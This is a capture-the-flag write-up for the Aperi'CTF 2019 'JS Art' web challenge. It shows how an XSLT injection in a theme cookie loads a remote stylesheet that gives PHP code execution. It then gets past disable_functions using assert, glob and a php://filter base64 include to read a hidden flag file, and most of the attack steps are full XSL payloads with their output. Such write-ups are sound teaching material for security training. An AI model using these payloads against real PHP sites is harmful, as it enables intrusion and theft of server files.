JS Art

Aperi'CTF 2019 - Web (250 pts).

Aperi’CTF 2019 - JS Art

Challenge details

Event Challenge Category Points Solves
Aperi’CTF 2019 JS Art Web 200 5

Vous auditez le site web d’une galerie d’art digital. L’administrateur entrepose ses dernières oeuvres (flag) dans un fichier/dossier caché aux utilisateurs. Investiguez et ramenez la dernière la dernière oeuvre.

Note: Inutile d’avoir un shell sur la machine.

https://jsart.aperictf.fr

TL;DR

There was an XSLT injection in the cookies used for the theme. Moreover, we had to bypass disable_functions using glob('.*') and include('php://filter/read=convert.base64-encode/resource=.s3cr3t___FLAG/.Th3Fl4g.php').

Methodology

The website has a gallery, a contact form and a dark / light theme:

1.png
2.png
3.png
4.png
5.png
6.png
7.png
8.png
9.png

RCE

Looking at the website, we can focus on the contact form (empty param, array, fake email, …) but it has no real effect.

By switching from the dark theme to the light theme, we can see that a cookie “color” is set.

cookie.png

Let’s change its value to “x” and see what happen:

error.png

We got an error: DOMDocument::load(): I/O warning : failed to load external entity "/var/www/html/x.xsl". It looks like the website is loading $_COOKIE['color'].".xsl". Looking at the technology used (XSLT) we can imagine that the website is vulnerable to XSLT code execution ?

For this, we’ll create a simple phpinfo() in an XSL file on a remote server. We can find more documentation on agarri’s website.

Here is our payload.xsl:

<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" exclude-result-prefixes="php">
  <xsl:template match="/">
    <!-- PHP Info (disable_functions) -->
	  <xsl:value-of select="php:function('phpinfo')"/>
  </xsl:template>
</xsl:stylesheet>

Now upload your file to a remote server (for those who do not have remote server, you can use hook API such as beeceptor with custom response containing the xml).

Here my payload is available at https://zeecka.fr/payload.xsl.

Now set the cookie “color” to https://yoursite/payload (note: ‘.xsl’ is already added by php). Here my cookie is https://zeecka.fr/payload.

Now lets see the website with our new design:

phpinfo.png

We can execute code on the server !

Bypass disable_functions

If we look at the disable_functions in phpinfo we got a lot of disabled functions:

scandir,highlight_file,show_source,file_get_contents,readfile,opendir,readdir,closedir,eval,exec,system,shell_exec,popen,proc_open,passthru,preg_replace,preg_replace_callback,imap_open,imap_mail,mail,error_log,fpaththru,curl_exec,curl_multi_exec,diskfreespace,dl,getmypid,getmyuid,ignore_user_abord,leak,link,listen,mod_cgi,parse_ini_file,putenv,create_function,set_time_limit,source,tmpfile,virtual,mkdir,symlink,ini_set,unlink,php_uname,apache_setenv,fastcgi,com,env,papar,exp,pcntl_alarm,pcntl_exec,pcntl_fork,pcntl_get_last_error,pcntl_getpriority,pcntl_setpriority,pcntl_signal,pcntl_signal_dispatch,pcntl_sigprocmask,pcntl_sigtimedwait,pcntl_sigwaitinfo,pcntl_strerror,pcntl_wait,pcntl_waitpid,pcntl_wexitstatus,pcntl_wifcontinued,pcntl_wifexited,pcntl_wifsignaled,pcntl_wifstopped,pcntl_wstopsig,pcntl_wtermsig,posix,posix_ctermid,posix_getcwd,posix_getegid,posix_geteuid,posix_getgid,posix_getgrgid,posix_getgrnam,posix_getgroups,posix_getlogin,posix_getpgid,posix_getpgrp,posix_getpid,posix_getpwnam,posix_getpwuid,posix_getrlimit,posix_getsid,posix_getuid,posix_isatty,posix_kill,posix_mkfifo,posix_setegid,posix_seteuid,posix_setgid,posix_setpgid,posix_setsid,posix_setuid,posix_times,posix_ttyname,posix_uname,proc_close,proc_get_status,proc_nice,proc_terminate,mod-cgi

As said, no need to have a shell, we just need to browse file on the system and read file. Let’s focus on the first one: how to list files in PHP ?

List files

The most used function to list files in php is scandir however this one is disabled. readdir is also disabled. By searching “php list file” on google, the function glob is mentioned (first page of google).

However, glob(’*’) return an Array and XSLT doesn’t allow 3 functions like a(b(c())). In other word, we can’t do print_r(glob('*')). We need to find a solution.

XSLT offers the <xsl:variable> syntax to store data. Maybe we can store our payload and evaluate it ?

Here is our payload:

<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" exclude-result-prefixes="php">
  <xsl:template match="/">
    <xsl:variable name="eval">
      print_r(glob('*'))
    </xsl:variable>
    <xsl:value-of select="php:function('eval',$eval)"/>
  </xsl:template>
</xsl:stylesheet>

However, eval is disabled ! ( Warning: XSLTProcessor::transformToXml(): Unable to call handler eval() in /var/www/html/index.php on line 52 )

By looking at the different functions that evaluate code, we can keep the assert function which is not disabled.

payload.xsl :

<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" exclude-result-prefixes="php">
  <xsl:template match="/">
    <xsl:variable name="eval">
      print_r(glob('*'))
    </xsl:variable>
    <xsl:value-of select="php:function('assert',$eval)"/>
  </xsl:template>
</xsl:stylesheet>

And now the output is:

 Array (
   [0] => art.png
   [1] => arts.xml
   [2] => dark.xsl
   [3] => fonts
   [4] => fullpage.js
   [5] => index.php
   [6] => light.xsl
   [7] => mail.php
   [8] => main.js
   [9] => mainend.js
   [10] => phone-icon.png
   [11] => style.css
   [12] => test.php
 ) true

If we browse each folders we cannot find any flag. After few test, we can notice that glob('*') doesn’t display hidden folders (starting with a dot, ie. .ssh). We need to force dot as first character: glob('.*').

payload.xsl :

<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" exclude-result-prefixes="php">
  <xsl:template match="/">
    <xsl:variable name="eval">
      print_r(glob('.*'))
    </xsl:variable>
    <xsl:value-of select="php:function('assert',$eval)"/>
  </xsl:template>
</xsl:stylesheet>

And now the output is:

Array (
  [0] => .
  [1] => ..
  [2] => .s3cr3t___FLAG
) true

We have a secret folder ! Lets enumerate secret files in this folder.

payload.xsl :

<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" exclude-result-prefixes="php">
  <xsl:template match="/">
    <xsl:variable name="eval">
      print_r(glob('.s3cr3t___FLAG/.*'))
    </xsl:variable>
    <xsl:value-of select="php:function('assert',$eval)"/>
  </xsl:template>
</xsl:stylesheet>

And now the output is:

Array (
  [0] => .s3cr3t___FLAG/.
  [1] => .s3cr3t___FLAG/..
  [2] => .s3cr3t___FLAG/.Th3Fl4g.php
) true

We have the path to our flag: .s3cr3t___FLAG/.Th3Fl4g.php.

Read file

Now that we have the path to our flag, we need to display it. If we access to the website directly, we got no answer. The flag is hidden in a variable. We need to print the content of the flag.

Like in the first part of the challenge, a lot of functions are missing like readfile(),file_get_content(),show_source()

Solution 1 - Zeecka

The first solution is to use the include() function with the base64 php wrapper php://filter/read=convert.base64-encode/resource=:

<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" exclude-result-prefixes="php">
  <xsl:template match="/">
    <xsl:variable name="eval">include('php://filter/read=convert.base64-encode/resource=.s3cr3t___FLAG/.Th3Fl4g.php');</xsl:variable>
    <xsl:value-of select="php:function('assert',$eval)"/>
  </xsl:template>
</xsl:stylesheet>

We got answer PD9waHAKICAgICRTRUNSRVRfX0ZMQUdfXzk0NTY4NzIgPSAiQVBSS3tYU0xUX0RJUzRCTDNfQllQNFNTfSI7Cj8+Cg== true.

echo -n "PD9waHAKICAgICRTRUNSRVRfX0ZMQUdfXzk0NTY4NzIgPSAiQVBSS3tYU0xUX0RJUzRCTDNfQllQNFNTfSI7Cj8+Cg==" | base64 -d

Output:

<?php
    $SECRET__FLAG__9456872 = "APRK{XSLT_DIS4BL3_BYP4SS}";
?>

Solution 2 - DrStache

During our test, DrStache had an other solution using GZ compression:

<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" exclude-result-prefixes="php">
  <xsl:template match="/">
    <xsl:variable name="eval">var_dump(gzread(gzopen('.s3cr3t___FLAG/.Th3Fl4g.php',"r"),10000));</xsl:variable>
    <xsl:value-of select="php:function('assert',$eval)"/>
  </xsl:template>
</xsl:stylesheet>

Output (in view-source since php tag is interpreted as html tag):

<?php
    $SECRET__FLAG__9456872 = "APRK{XSLT_DIS4BL3_BYP4SS}";
?>

Flag

APRK{XSLT_DIS4BL3_BYP4SS}

Zeecka